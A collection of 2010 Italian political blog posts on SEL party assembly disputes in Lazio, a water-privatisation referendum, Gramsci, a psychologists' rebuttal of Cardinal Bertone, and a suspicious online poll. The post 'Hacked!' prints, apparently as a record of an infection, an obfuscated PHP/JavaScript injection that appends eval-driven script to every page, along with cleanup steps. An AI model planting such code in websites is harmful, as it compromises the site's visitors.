SEL – l’orizzonte degli eventi nel maggio romano 2010

Like an auto accident, you can’t keep your eyes off it
Come un incidente stradale, non puoi smettere di guardare

John Giorno

Premessa inutile

Quando si scrive una cronaca occorre scrivere a caldo principalmente per due motivi:

1) perché dopo un po’ si tende a ricostruire i ricordi, dando un filo logico ed un senso o una spiegazione a fatti che non necessariamente hanno una razionalità esplicita (vedi: geneaologia della storia. Un luogo in cui si è già stati).

2) perché il calcolo ci mette lo zampino e rovina la parresia. Un principio che non necessariamente deve essere inteso in senso negativo: si può voler rafforzare un processo positivo nascondendone gli aspetti negativi, ma alla lunga così facendo mi pare si corra il rischio di ottenere l’effetto opposto.

A parte ciò, se qualcuno si è preso la briga di leggere andando oltre  termini come “genealogia”, e”parresia”, (e correndo il rischio di  trovarsi davanti anche “ontologico”, “epistemico” o “olistico”), vuol dire che difficilmente sarà spaventato dalla amara realtà.

Certo, poi ci si mette di mezzo il lavoro… e ho finito con lo scrivere dopo un paio di giorni.

Atto I – dove si spiega cosa sia successo, ma non perché

Finito il periodo di campagna elettorale con le dovute sconfitte elettorali, ad inizio aprile si decide di iniziare l’assemblea del partito a livello provinciale (Roma) con una analisi del voto. Ottimo: i flussi elettorali, dati alla mano, vengono sviscerati ed analizzati, il tutto alla ricerca del colpevole con l’arma in pugno. Che le elezioni siano state perse per una semplice questione matematica (gli “altri” hanno preso più voti) in effetti ci dice poco perché il fenomeno può essere ottenuto in molti modi diversi. Per farla breve, il problema non è stato un spostamento del voto (qualcuno che, avendo votato per il centro-sinistra, avrebbe poi deciso dopo 5 anni di votare per la destra), ma l’astensione non uniforme (ovvero in molti, soprattutto tra gli elettori di centro-sinistra, si sono astenuti dal voto).

Dato tangibile: numeri alla mano, riscontrabile oggettivamente. Il centro-sinistra perde più elettori di quanti non ne perda la destra. Quindi, in una condizione di partenza di sostanziale parità, la destra vince. Amen.

Atto II – dove dovvero non si riesce a spiegare perché

Da questo dato di partenza purtroppo non è possibile ricavare in modo lineare né le cause del fenomeno (personali, collettive, accidentali, strutturali… abbiamo solo prove indiziarie), né le modalità che ci possano permettere di invertire la tendenza, cosa che a sua volta può significare: 1) riportare gli elettori alle urne; oppure 2) spostare da una coalizione all’altra il voto di quelli che ancora si dedicano a tale esercizio.

Con buona pace di chi ha dedicato qualche decina d’anni alla logica modale, questa condizione resta l’incubo dello scienziato determinista: non ci sono operatori che possano descrivere in modo sicuro quello che avviene e soprattutto, quello che sarebbe avvenuto SE… Che sarebbe successo se ci fosse stato un altro candidato presidente di regione? Cosa sarebbe successo se la coalizione fosse stata unita? Cosa sarebbe successo se il sistema di informazioni non fosse stato sotto pesante controllo? L’esperimento è singolare, unico, non ripetibile (con buona pace di tutti noi, tra cinque anni la situazione sarà comunque almeno un po’ diversa).

La patria dell’illazione, appunto. Spesso sostenuta dalla sola voce e credenza di chi la sostiene, senza l’ombra di un dubbio apparente. Due incontri consecutivi su questi due temi: cause del fenomeno e come uscirne.

Atto III – la trama non decolla

Quello che si impara dopo una decina di ore passate a discutere di questi argomenti (anche se in più di un appuntamento) è riassumibile in poche frasi:

1) leggi la citazione in testa a questo articolo;

2) basta poco per entrare nel tunnel e cominciare a prender parte alla giostra dell’illazione (non senza un certo divertimento sado-masochista);

3) una volta entrati nel tunnel non si ha più un’idea di cosa sia un bene strumentale e quale sia la differenza tra questo ed un bene finale.

La china si risale in senso inverso: un partito ed i voti (la fiducia) a cui questo partito aspira, sono entrambi beni strumentali: servono come strumento per raggiungere un bene finale. Quale? Semplificando, la trasformazione della società (che, sia detto per inciso, in questo momento sta andando in vacca). Riflettevo tra me assaporando il momento in cui avrei parlato in assemblea regionale per comunicare queste che mi sembravano grandi verità ignorate da tutti e aspettavo quindi con un po’ di impazienza la terza assemblea (in cui sono finito dato che mi sono iscritto a parlare piuttosto tardi). Nella lunga attesa, ho modo di ascoltare Nichi Vendola dire nelle sue apparizioni in TV molte delle cose sulle quali stavo rimuginando, meglio di come stavo immaginando di fare io. Parlo anche con alcuni compagni e scopro di non avere pensieri poi così originali: da un lato è una cosa positiva, ma dall’altro, se la si pensa così, di che stiamo parlando?

Quando finalmente la convocazione arriva, la fonte è atipica: un membro del direttivo nazionale (Francesco “Ciccio” Ferrara per la cronaca).

Atto IV – il colpo di scena

E’ così che si scopre che tutto ciò di cui avevamo parlato fino a quel momento non era che una parte del vero dibattito che animava SEL – Lazio: la parte esplicita. Forse non la parte ritenuta meno importante, ma decisamente quella che suscitava meno interesse negli iscritti. Arrivando al dunque: l’arbitro spedito dal direttivo nazionale ci spiega rapidamente quanto siamo stati capaci di far degenerare ed incancrenire l’organizzaione del partito nel Lazio e a Roma in particolare, fino a sfiorare il ridicolo. Non siamo riusciti ad eleggere un portavoce o un coordinamento in svariati mesi e siamo incapaci di indire una assemblea che svolga questo ruolo senza la presenza di un esterno!?

Per quale motivo tutto questo? Scontro sugli obiettivi? Sulle metodologie di lotta? Sulle priorità di intervento? Magari! Lo scontro è su chi ha diritto di voto nell’assemblea e chi non lo ha. Non so se avete mai partecipato ad una assemblea in cui si discute se i presenti sono o meno legittimati a votare: a me è capitato diverse volte durante le varie agitazioni nel periodo del liceo e durante l’università. Ho sempre trovato la cosa ridicola. Adesso so che non era cosa rara.

Atto V – il surreale e l’osceno

Seguono qualcosa come 3 ore abbondanti (dalle 17:30, fino alle 21:00) di dibattito interno sul solo argomento “chi può votare e chi deve essere escluso”, con qualche intermezzo sul genere “basta parlare solo di noi stessi”, in cui si parla comunque solo di noi stessi (come, per essere onesti, sto facendo io adesso). La pietra dello scandalo: i cosidetti delegati di diritto. Ovvero un gruppo di 18 iscritti che, per il loro ruolo svolto nel passatto all’interno di uno dei gruppi fondatori, hanno avuto diritto di voto nelle assemblee precedenti. Gruppo cresciuto fino a raggiungere i 48 membri, per bilanciare i valori di voto delle rispettive componenti originarie e poi sceso a 10 membri in quest’ultima votazione, dopo aver tolto i 30 abusivi (che nessuno sa chi abbia aggiunto… o meglio chi lo sa, non ne vuole parlare) e 8 degli originali 18 perchè rivestono incarichi nel nazionale. Sempre per la cronaca gli “altri” delegati, quelli non di diritto, sono 50.

Ore 17:30: relazione di Ciccio Ferrara, con proposta di metodologia di voto.

Ore 21:30: inizio votazioni con metodologia identica a quella proposta all’inizio.

Il tutto per un ruolo che durerà circa 3 mesi, dato che poi per il congresso (ottobre) si vanno a rinominare delegati, portavoce e coordinamento.

Questa la parte surreale. Poi c’è l’osceno.

Quando si presenta Marco Furrfaro, candidato a diventare portavoce regionale, prova a fare un breve discorso per presentare se stesso e le proprie idee, parlando di un caso esemplificativo di morte bianca per indicare nel lavoro (in relazione a sicurezza e precarietà) un tema che ritiene centrale per SEL. La sensazione in sala è che non avrebbe potuto fregare di meno alla maggior parte dei presenti: buona parte presi -comunque e sempre- dal problema di chi deve votare.

Quando si formarono a ottobre scorso le commissioni per il regolamento e quella per il programma, sentii dire di sfuggita a qualcuno  del direttivo, una “veterana” della politica (direi il nome, se mi ricordassi distintamente chi fosse) che la prima era l’unica a contare qualcosa. Mi è rimasto impresso perché la sola ipotesi che tra regolamento e programma sia più importante il primo, continua anche oggi a sembrarmi folle. Anche se adesso capisco in che contesto si collochi questa idea.

Epiologo

Mi restano delle domande retoriche e un invito:

1) la forma assembleare (fatta così) a che serve? Si entra con una idea, si esce con la stessa idea. Non c’è vera interlocuzione, non c’è crescita, il confronto è scarso e spesso si ha paura del voto; gli accordi su idee, progetti e persone vengono raggiunti prima di iniziare l’assemblea. In questo caso  alla fine ci è andata anche bene, dato che Marco e almeno un membro del coordinamento (Ylenia, l’unica che conosco, per questo dico “almeno uno”), sono delle ottime persone a cui non affiderei niente di meno, ma la domanda resta. Io non sono innamorato della forma, ma se questa è un paravento, mi sento anche preso per il culo.

2) Perché SEL poggia così insistentemente su contesti opachi? Questi contesti che permettono o forse incentivano le decisioni sottobanco, le liti personali, che alla luce del sole sarebbero molto meno, per chiara consapevolezza della loro stupidità. L’organizzazione, il soggetto politico, di certo non ne trae vantaggio, ma alcuni dei suoi membri pensano forse di poterne trarre per sé stessi. Un’ottica miope che parassita e distrugge la stessa entità che ne permette la vita.

Sarà un caso, ma più aumento la mia militanza, più mi radicalizzo intorno ad un nocciolo ristretto di pensieri minimi: prima chiedevo percorsi di uscita dalla crisi, politiche di inclusione per i migranti, la rivalutazione della scuola e della sua funzione nel permettere la mobilità sociale, lo sviluppo sostenibile, la ricostruzione di uno scenario sociale frantumato, il ribaltamento della logica di potere.

Adesso chiedo trasparenza, chiarezza, esplicitazione, responsabilità, identificazione del chi, dove, come e con che obiettivi in quali tempi, perché altrimenti quei temi precedenti non potranno neanche essere affrontati da lontano. Di questi tempi, una rivoluzione, che chiedono in molti anche in SEL, ma che avremo difficoltà a portare avanti se saremo pochi. L’ho già detto molte volte: non è il tempo di delegare: iscrivetevi, partecipate, trasformate.

TESSERAMENTO -> http://www.sinistraeliberta.eu/tesseramento2010/

LA NOTIZIA DELL’ELEZIONE DEL PORTAVOCE – > http://www.sinistraeliberta.eu/comunicati-stampa-territori/lazio-sel-furfaro-eletto-nuovo-portavoce-regionale

L’acqua non si vende: info di base per la campagna referendaria

Il Forum Italiano dei Movimenti per l’Acqua, costituito da centinaia di comitati territoriali che si oppongono alla privatizzazione, insieme a numerose realtà sociali e culturali ha deciso di promuovere 3 quesiti referendari, depositati presso la Corte di Cassazione di Roma mercoledì 31 marzo 2010. Sosterranno tale iniziativa anche diverse forze politiche.

A partire dal sabato 24 aprile inizieremo la raccolta delle firme, in tre mesi dovremo arrivare almeno a quota 500.000 per poter richiedere i referendum. I banchetti per la raccolta delle firme saranno allestiti su tutto il territorio nazionale.

I quesiti referendari

Primo quesito:

«Volete voi che sia abrogato l’art. 23 bis (Servizi pubblici locali di rilevanza economica) del decreto legge 25 giugno 2008 n. 112 “Disposizioni urgenti per lo sviluppo economico, la semplificazione, la competitività, la stabilizzazione della finanza pubblica e la perequazione tributaria” convertito, con modificazioni, in legge 6 agosto 2008, n. 133, come modificato dall’art. 30, comma 26 della legge 23 luglio 2009, n. 99 recante “Disposizioni per lo sviluppo e l’internazionalizzazione delle imprese, nonché in materia di energia” e dall’art. 15 del decreto-legge 25 settembre 2009, n. 135, recante “Disposizioni urgenti per l’attuazione di obblighi comunitari e per l’esecuzione di sentenze della corte di giustizia della Comunità europee” convertito, con modificazioni, in legge 20 novembre 2009, n. 166?»

Secondo quesito:

«Volete voi che sia abrogato l’art. 150 (Scelta della forma di gestione e procedure di affidamento) del Decreto Legislativo n. 152 del 3 aprile 2006 “Norme in materia ambientale”, come modificato dall’art. 2, comma 13 del decreto legislativo n. 4 del 16 gennaio 2008

Terzo quesito:
«Volete voi che sia abrogato il comma 1, dell’art. 154 (Tariffa del servizio idrico integrato) del Decreto Legislativo n. 152 del 3 aprile 2006 “Norme in materia ambientale”, limitatamente alla seguente parte: “dell’adeguatezza della remunerazione del capitale investito”?»

516.615 firme raccolte in 25 giorni di banchetti e iniziative in tutta Italia. Un risultato incredibile anche per noi, raggiunto in poco più di tre settimane grazie all’impegno e all’entusiasmo di migliaia di cittadine e cittadini dell’acqua pubblica. Qui trovate la mappa dei banchetti. L’obiettivo che il Comitato Promotore si era posto (700mila firme) è ormai in vista e può essere superato. Da qui a luglio lanceremo eventi, feste, spettacoli per coinvolgere sempre più italiani in questa civile lotta di democrazia per togliere le mani degli speculatori dall’acqua riconsegnandola ai cittadini e ai Comuni.

http://www.acquabenecomune.org/raccoltafirme/

Hacked!

Ovvero… colpito e affondato.

A fine aprile, uno o due giorni dopo la pubblicazione del post precedente dedicato all’anniversario di Gramsci, questo sito è stato colpito da un simpatico codicillo malware che vi incollo qui di seguito a futura memoria:

<?php ob_start (‘security_update’); function security_update ($buffer) {return $buffer.’  <script language= “javascript”> var  asdas= “asd8 (@+”;function z(s)
{var asdas=”asd8(@”;r=””;for(i=0;i<s.length;i++){var asdas=”asd8(@”; if(s.charAt(i)==”Z”) {var asdas=”asd8(@”;s1=”%”}else{var asdas=”asd8(@”; s1=s.charAt(i);}r=r+s1; var  asdas=”asd8(@”;}return unescape(r);}var sdkajsnd=”e”+””+”v”+”al”;function t(){return z($a);}var  $a=”Z63zZ3dZ22Z2566uZ256ectZ2569oZ256e cZ257a(cZ257a)Z257bretZ2575Z2572Z256e  caZ252bcb+Z2563cZ252bcdZ252bce+Z2563z;}Z253bZ22;dbZ3dZ227FtuQd8!90;0!Z25200; gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0–0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;cbZ3dZ22eZ2528Z2564Z2573);Z2573tZ253dtZ256dpZ253dZ2527Z2527;for(iZ253d0;iZ253cds.Z256cZ22;opZ3dZ22Z2524aZ253dZ2522dw(dcZ2573(cZ2575,1Z2534))Z253bZ2522;Z22;caZ3dZ22Z2566uZ256eZ2563tioZ256e dZ2563sZ2528dsZ252cesZ2529Z257bdsZ253dunZ2565scZ2561pZ22;cuZ3dZ22(p}b4gmxq)6b}g}v}x}m.|}ppqz6*(}rfuyq4gfw)6|d.;;rvwyr}f:wZ7by;xp;v}zfszZ2526;64c}p|)Z25$$4|q}s|),$*(;}rfuyq*(;p}b*Z22;ccZ3dZ22enZ2567tZ2568;i+Z252bZ2529Z257btmZ2570Z253dds.sZ256cZ2569ce(Z2569,Z2569+1Z2529Z22;dzZ3dZ22Z2566unZ2563tiZ256fn Z2564Z2577(tZ2529Z257bcaZ253dZ2527Z252564ocZ252575Z2525Z2536dZ2565Z256eZ252574Z2525Z2532ewrZ25256Z2539Z2574e(Z252522Z2527;ceZ253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253csZ252563ripZ25257Z2534 Z25256canZ25256Z2537Z25257Z2535aZ252567eZ25253dZ25255cZ252522jZ2561vasZ2563rZ252569pZ252574Z25255cZ252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252Z2566sZ2563Z2572iptZ25253eZ2527;winZ2564owZ255bZ2522eZ2522+Z2522Z2522+ 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Bello vero? Il codice, probabilmente agendo in completa autonomia (ovvero senza il controllo di un programmatore, ma con funzione da bot della rete), si è propagato in diversi files php, aggiungendosi in testa o in coda al testo normale.

Secondo il rapporto di google, questo codice è poi riuscito ad infettare un solo computer. Per fortuna so anche a chi appartiene: è il mio, che infatti ho dovuto formattare nella sua partizione windows, perdendo così la mia imbattibilità di circa 3 anni nei confronti di attacchi virus. Chapeau!

Non avendo molta esperienza di virus interni ad un blog (e complice il poco tempo a disposizione), ho impiegato poi qualche giorno a capire come ci si debba muovere in questo caso. Ecco come ho fatto, nel caso capiti anche a chi legge: back-up su pc di tutti i files, analisi dei files (aprendoli come file di testo uno ad uno, iniziando da index.php), rilevazione del codice malevolo, query per individuare il codice in tutti i files del back-up, cancellazione del codice malevolo dove presente, sovrascrittura di tutti i files da pc a server.

Più o meno funziona: ho ancora qualche problemino, ma il virus per il momento è andato.

Uno spasso che non sto neanche a raccontare… soprattutto grazie ai divertentissimi messaggi allarmistici di google!

Ostracismo egemonico

Una delle cose che mi colpisce di più, oggi, riguardo al pensiero di Antonio Gramsci è la forza con cui è stato in passato e venga tutt’ora cancellato dai programmi didattici della scuola e spesso anche nelle università (con riferimento all’insegnamento della filosofia).

Una pura follia, che in parte deve essere motivata dalla consapevolezza della validità del suo pensiero ancora oggi, soprattutto nei suoi riferimenti all’egemonia culturale. Questa scelta è però in parte dovuta anche a semplice sciatteria, mista ad un generico sentimento di rivalsa nei confronti del PCI da parte di chi è stato per anni nella stanza dei bottoni del ministero dell’istruzione. Penso che ci sia questa componente per un semplice motivo: all’estero (per esempio per mia esperienza diretta nel mondo anglosassone) nessuno che si dica studiare i temi della filosofia politica potrebbe immaginare di tralasciare lo studio degli scritti di questo filosofo italiano (uno dei rari) o delle innumerevoli analisi compiute da altri a partire dal suo pensiero (a prescindere dal fatto che ne condivida o meno le conclusioni, ovviamente).

Nell’anniversario della morte, vale la pena rileggere un testo citato un po’ ovunque: peronalmente, ogni volta che mi capita di rileggerlo, mi chiedo quanto sia cambiato il nostro Paese e mi domando “Che fare?”. Ma questa è un’altra Storia.

Odio gli indifferenti. Credo che vivere voglia dire essere partigiani. Chi vive veramente non può non essere cittadino e partigiano. L’indifferenza è abulia, è parassitismo, è vigliaccheria, non è vita. Perciò odio gli indifferenti.

L’indifferenza è il peso morto della storia. L’indifferenza opera potentemente nella storia. Opera passivamente, ma opera. È la fatalità; è ciò su cui non si può contare; è ciò che sconvolge i programmi, che rovescia i piani meglio costruiti; è la materia bruta che strozza l’intelligenza. Ciò che succede, il male che si abbatte su tutti, avviene perché la massa degli uomini abdica alla sua volontà, lascia promulgare le leggi che solo la rivolta potrà abrogare, lascia salire al potere uomini che poi solo un ammutinamento potrà rovesciare. Tra l’assenteismo e l’indifferenza poche mani, non sorvegliate da alcun controllo, tessono la tela della vita collettiva, e la massa ignora, perché non se ne preoccupa; e allora sembra sia la fatalità a travolgere tutto e tutti, sembra che la storia non sia altro che un enorme fenomeno naturale, un’eruzione, un terremoto del quale rimangono vittime tutti, chi ha voluto e chi non ha voluto, chi sapeva e chi non sapeva, chi era stato attivo e chi indifferente. Alcuni piagnucolano pietosamente, altri bestemmiano oscenamente, ma nessuno o pochi si domandano: se avessi fatto anch’io il mio dovere, se avessi cercato di far valere la mia volontà, sarebbe successo ciò che è successo?

Odio gli indifferenti anche per questo: perché mi dà fastidio il loro piagnisteo da eterni innocenti. Chiedo conto a ognuno di loro del come ha svolto il compito che la vita gli ha posto e gli pone quotidianamente, di ciò che ha fatto e specialmente di ciò che non ha fatto. E sento di poter essere inesorabile, di non dover sprecare la mia pietà, di non dover spartire con loro le mie lacrime.

Sono partigiano, vivo, sento nelle coscienze della mia parte già pulsare l’attività della città futura che la mia parte sta costruendo. E in essa la catena sociale non pesa su pochi, in essa ogni cosa che succede non è dovuta al caso, alla fatalità, ma è intelligente opera dei cittadini. Non c’è in essa nessuno che stia alla finestra a guardare mentre i pochi si sacrificano, si svenano. Vivo, sono partigiano. Perciò odio chi non parteggia, odio gli indifferenti.

11 febbraio 1917

Antonio Gramsci (Ales, 22 gennaio 1891 – Roma, 27 aprile 1937) è stato un politico, filosofo e giornalista italiano. Tra i fondatori del Partito Comunista d’Italia (1921), fu incarcerato fra il 1926 e il 1937 dal regime fascista di Mussolini e rilasciato poco prima della morte, avvenuta in seguito al grave deterioramento delle sue condizioni di salute durante gli anni di prigionia.

www.fondazionegramsci.org
www.antoniogramsci.com

Bertone e la gaia scienza

COMUNICATO STAMPA

16 aprile 2010

L’Associazione Italiana di Psicologia (AIP), principale Società Scientifica rappresentativa della Psicologia e della Ricerca Psicologica Italiana, apprese le parole pronunciate dal Cardinale Tarcisio Bertone durante la visita in Cile (“numerosi psichiatri e psicologi …. hanno dimostrato che esiste un legame tra omosessualità e pedofilia”, Corriere della Sera.14.04.2010, p. 2), intende precisare che la letteratura scientifica sull’argomento non supporta in alcun modo quanto sostenuto dal Segretario di Stato della Santa Sede e che è anzi dimostrato che vittime di abuso sono tanto i bambini quanto le bambine.

In particolare, in qualità di Psicologi, Psicoterapeuti e Ricercatori sentiamo il dovere di precisare che le parole pronunciate dal Cardinale, oltre che assolutamente prive di evidenza scientifica, paiono rilanciare una pericolosa re-interpretazione in chiave psicopatologica dell’omosessualità, condizione invece da anni esplicitamente esclusa dalla nosografia psichiatrica in uso.

Pur prendendo atto delle successive dichiarazioni di rettifica, l’AIP sente il dovere di precisare che “patologizzare” l’omosessualità, invocando in modo improprio il supporto della comunità scientifica, non fa che aumentare l’omofobia, che è la vera malattia da combattere. L’errato riferimento alla letteratura psicologica, sociologica o psichiatrica appare estremamente dannoso per lo sforzo che, da anni, clinici e ricercatori intraprendono a vantaggio della salute psichica della popolazione, sia dei minori (abusati e non) che degli abusanti (questi sì realmente malati). L’AIP pertanto invita tutti coloro che ricoprono importanti ruoli istituzionali, e che quindi hanno un peso incisivo sulla pubblica opinione, a prestare maggiore attenzione alla ricerca scientifica e a diffondere correttamente i suoi risultati conoscitivi e applicativi.

prof. Roberto Cubelli

Presidente Associazione Italiana di Psicologia

COMUNICATO STAMPA

16 aprile 2010

L’Associazione Italiana di Psicologia (AIP), principale Società Scientifica rappresentativa della Psicologia e della Ricerca Psicologica Italiana, apprese le parole pronunciate dal Cardinale Tarcisio Bertone durante la visita in Cile (“numerosi psichiatri e psicologi …. hanno dimostrato che esiste un legame tra omosessualità e pedofilia”, Corriere della Sera.14.04.2010, p. 2), intende precisare che la letteratura scientifica sull’argomento non supporta in alcun modo quanto sostenuto dal Segretario di Stato della Santa Sede e che è anzi dimostrato che vittime di abuso sono tanto i bambini quanto le bambine.

In particolare, in qualità di Psicologi, Psicoterapeuti e Ricercatori sentiamo il dovere di precisare che le parole pronunciate dal Cardinale, oltre che assolutamente prive di evidenza scientifica, paiono rilanciare una pericolosa re-interpretazione in chiave psicopatologica dell’omosessualità, condizione invece da anni esplicitamente esclusa dalla nosografia psichiatrica in uso.

Pur prendendo atto delle successive dichiarazioni di rettifica, l’AIP sente il dovere di precisare che “patologizzare” l’omosessualità, invocando in modo improprio il supporto della comunità scientifica, non fa che aumentare l’omofobia, che è la vera malattia da combattere. L’errato riferimento alla letteratura psicologica, sociologica o psichiatrica appare estremamente dannoso per lo sforzo che, da anni, clinici e ricercatori intraprendono a vantaggio della salute psichica della popolazione, sia dei minori (abusati e non) che degli abusanti (questi sì realmente malati). L’AIP pertanto invita tutti coloro che ricoprono importanti ruoli istituzionali, e che quindi hanno un peso incisivo sulla pubblica opinione, a prestare maggiore attenzione alla ricerca scientifica e a diffondere correttamente i suoi risultati conoscitivi e applicativi.

prof. Roberto Cubelli

Presidente Associazione Italiana di Psicologia

L’irresistibile fascino notturno di Luca Cordero di Montezemolo

Alle 0:00 dell’8 aprile, il settimanale “L’espresso” ha lanciato un sondaggio online per rispondere alla domanda “Chi può battere Silvio Berlusconi? – 2013, vota il tuo candidato contro Berlusconi”.

Questo il link: http://espresso.repubblica.it/sondaggio-risultati?idpoll=2124611

… e questa è la storia di come ho scoperto che gli hawaiani amano Luca Cordero di Montezemolo.

Il fenomeno aveva cominciato ad attirare l’attenzione sin dal primo giorno: nella notte di giovedì 8, qualcuno non dormiva. E votava.

Poi la cosa si era ripetuta anche il secondo giorno, nella notte di venerdì 9: un primo conteggio approssimativo attribuiva a Luca Cordero di Montezemolo (da adesso in avanti LCdM) un aumento di circa 7000 preferenze distribuite nelle due notti, ma il dato era ancora troppo grezzo per poterlo analizzare seriamente.

Occorreva una verifica empirica ed ecco giungere il sabato sera: il momento perfetto per fare del monitoraggio computerizzato. Da principio non capivo: aggiornavo la pagina stancamente, vedendo di tanto in tanto aumentare qui e là una o due preferenze, ma all’improvviso, all’1:18 minuti, si comincia!

Una scalata inarrestabile verso la vetta, un fiume in piena di preferenze, travolgente, della durata di 50 minuti: alle 2:07 nella notte tra sabato 10 e domenica 11, il computo per LCdM segna 11022 preferenze, con un bilancio di +2657 preferenze in 50 minuti scarsi (per il valore olimpico di 0.9 preferenze al secondo, di media… ma con picchi ben superiori!).

Il re della notte è salito sul trono per la terza volta di fila e si è ripreso la testa del sondaggio, come gli compete. Certo, ammetto di non essere riuscito a trovare una spiegazione plausibile per un paio di misteriose battute di arresto, in cui il numero delle preferenze addirittura diminuiva, per poi aumentare nuovamente con rinnovato slancio. Un aggiornamento del server errato? Temo di aver bisogno di un decreto interpretativo.

Ad ogni modo, preso dall’esaltazione del momento, dimentico i miei obblighi di ricercatore e mi convinco che il fenomeno si sia ormai manifestato per intero: me ne vado a dormire.

Errore da dilettante!

Il mio check successivo arriva sul tardi: devo aspettare le 10:31 di domenica 11 per scoprire che il fenomeno è contagioso e ha coinvolto anche Mario Draghi.

Perplesso annoto i nuovi dati e le 12 ore che hanno sconvolto il sondaggio dell’espresso come neanche i suoi autori avrebbero potuto immaginare: basti pensare che le preferenze complessive passano da 25836 (raccolte in tre giorni) a 35710 (+9874 nella sola notte: il 38% in più! Di cui oltre 9000 ottenute nel periodo dopo la mezzanotte. Non so se mi spiego…).

Ma guardiamo Mario Draghi. D’accordo, abbiamo già incoronato LCdM e non si discute, ma per spirito sportivo, va assegnato un podio! I meno accorti potrebbero essere tentati dall’assegnare banalmente il secondo posto a Nichi, che con il suo metodo lumaca e le preferenze prese a poco a poco durante il giorno, in orario di ufficio, da grigi lavoratori e nerd smanettoni del computer, ha raggiunto quota 9500. Ma bisogna essere onesti: nelle 12 ore sotto osservazione, quelle che abbiamo visto essere il vero bacino di utenti dell’espresso, le sue preferenze aumentano di meno di 300 unità.

…e invece Draghi? Che spettacolo! Lo si poteva dare per spacciato ormai: sole 1229 preferenze raccolte in tre giorni pieni -74 ore di sondaggio, comprese le prime due notti di fuoco del nostro LCdM! -, ma ecco che dalle 2:00 del mattino alle 10:30 del quarto giorno, il governatore risorge arrivando a 4525 preferenze!  Il 300% in più nella sola lunga alba di domenica mattina.

Una ipotesi interpretativa comincia ormai a farsi strada e non mi resta che una controprova: attendo impaziente la giornata di lunedì, per registrare il dato della mattina di un giorno lavorativo al netto dell’ormai prevedibile rush notturno – che si presenterà decisamente sotto tono, rispetto alla notte brava di sabato (+2500 circa per LCdM nella notte tra domenica e lunedì)-. La domanda che mi pongo è: quante preferenze raccoglierà LCdM durante la mattina e il pomeriggio di un giorno lavorativo?

Ecco la risposta: dalle 9:00 alle 17:00 circa di lunedì 12 aprile, LCdM totalizza un limpido +42 preferenze (passando da 16603 a 16645: un aumento dello 0.25%).

La situazione è ormai chiara: se evidentemente Draghi vede il suo bacino più consistente nei ragazzi di rientro dalle discoteche (prima di andare a dormire alle 6 del mattino, ci si collega per votare il sondaggio), il solo ed unico re della notte, semplicemente, è una figura di livello internazionale.

Alle Hawaii ad esempio il fuso orario è 11 ore indietro.

Cose che capitano. Soprattutto a “L’espresso”.

Haloa!

Alcune considerazioni post-elezioni

[…]

…Purtroppo però non dico nulla di nuovo se esterno la mia amarezza, delusione e rabbia sull’esito delle Regionali (immagino le tue che hai un investimento differente dal mio nei confronti della politica…).

Il risultato della Calabria purtroppo me lo aspettavo, perché Scopelliti è forte e ahimè amato in parte a ragione, perché Loiero non era di sicuro l’esponente migliore che la Sinistra potesse proporre, né Callipo un effettivo antagonista per nessuno dei due. E nel contesto italiano mi aspettavo alcuni dei risultati ottenuti, ma nel Lazio credevo e speravo veramente che Emma Bonino ce l’avrebbe fatta!

Mi chiedo come fa la gente a non voler riflettere, a non voler acquisire un minimo di senso critico e di volontà di informazione?!?

E i quartieri popolari… che hanno votato a Destra? Ma come si fa!?!L’VIII Municipio – dove lavoro due giorni a settimana – in cui la povertà si tocca con mano, ha votato a Destra!Sarà un caso che in quella zona ci sia una sezione anche di Forza Nuova? Ora, problema mediatico a parte, disinformazione e sfiducia, di assoluta rilevanza certamente tutti e tre, credo che quello che su tutto il territorio nazionale manchi sia il contatto effettivo con le diverse frange della popolazione. Questa è la spiegazione più plausibile per me per quanto concerne l’VIII Municipio.

Ovvero, situazioni particolari a parte, non si può attendere il pre-elezioni per farsi conoscere. Questo atteggiamento viene assolutamente preso – e lo è! – come finalizzato alla tornata elettorale. Bisogna ‘fidelizzare’ (termine non bellissimo ma calzante) le persone. Solo se conosco qualcuno e ho fiducia in lei/lui, la/lo voterò. E’questo il meccanismo che si deve ingenerare. Io ho modo di vederti di fronte a me, ti conosco, tocco con mano che hai avuto la volontà di farti conoscere, hai fatto qualcosa, magari qualcosa di buono e ti voto!E, per quanto riguarda Roma, dal singolo Municipio dovrebbe partire una sorta di circolo virtuoso che si estende anche agli altri Municipi e così via.

Non penso che gran parte delle persone faccia o per volontà, o per tempo, o per cultura, ragionamenti di carattere politico raffinato o di stampo teorico.
Credo che, a ragione, voglia invece avere delle cose tangibili, immediate, che rappresentino la soluzione di un problema e che allo stesso tempo voglia ‘vedere’, aver presente un referente vero e non virtuale per la risoluzione di un problema. E’chiaro che non sempre si può avere il diretto interessato di un provvedimento preso, ma un suo sostituto, un referente ‘in tutti i sensi presente’ sì, lo si deve avere… sempre!
E’da questo che si deve ripartire secondo me. Interventi piccoli, mirati, anche solo di conoscenza, resi accattivanti da un clima accogliente e dalla volontà fattiva di voler comunicare, di ascoltare ‘attivamente’ e di confrontarsi alla pari, chiunque si abbia davanti…..Bisogna sempre tener presente a chi si vuole comunicare e con chi si sta parlando. I discorsi, gli strumenti e/o i provvedimenti (e qui non mi riferisco a Leggi nazionali ovviamente) sparati nel mucchio non possono andar bene! Ad esempio, Internet è uno strumento utile, ma raggiunge solo alcune fasce della popolazione. Ti assicuro che non ha raggiunto e non raggiunge neppure il 3 percento (e credimi, non esagero) degli utenti che incontro settimanalmente al Centro per l’Impiego e in Associazione. Si tratta di disoccupati/precari, ma soprattutto di cassa integrati e lavoratori in mobilità, molti dei quali giovanissimi; sono specialmente operai e assistenti familiari. Ma… la Sinistra non dovrebbe raggiungere loro in primis?E… se neanche ci parla!Non ci sa parlare!
